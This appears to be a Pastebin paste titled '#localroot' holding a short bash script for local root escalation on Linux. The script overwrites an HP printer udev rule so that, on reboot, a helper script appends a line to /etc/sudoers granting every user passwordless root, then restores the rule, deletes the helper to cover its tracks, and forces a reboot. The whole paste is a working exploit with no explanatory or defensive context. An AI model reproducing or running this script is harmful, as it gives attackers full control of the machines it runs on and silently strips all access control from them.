Advertisement
blogfakessh

#localroot

Feb 12th, 2016
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.43 KB | None | 0 0
  1. #!/bin/bash -e
  2. cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
  3. echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
  4. cat <<EOF >/tmp/r00t.sh
  5. echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
  6. mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
  7. chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
  8. rm /tmp/r00t.sh
  9. EOF
  10. chmod +x /tmp/r00t.sh
  11. echo "sudo will be available after reboot"
  12. sleep 2
  13. reboot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement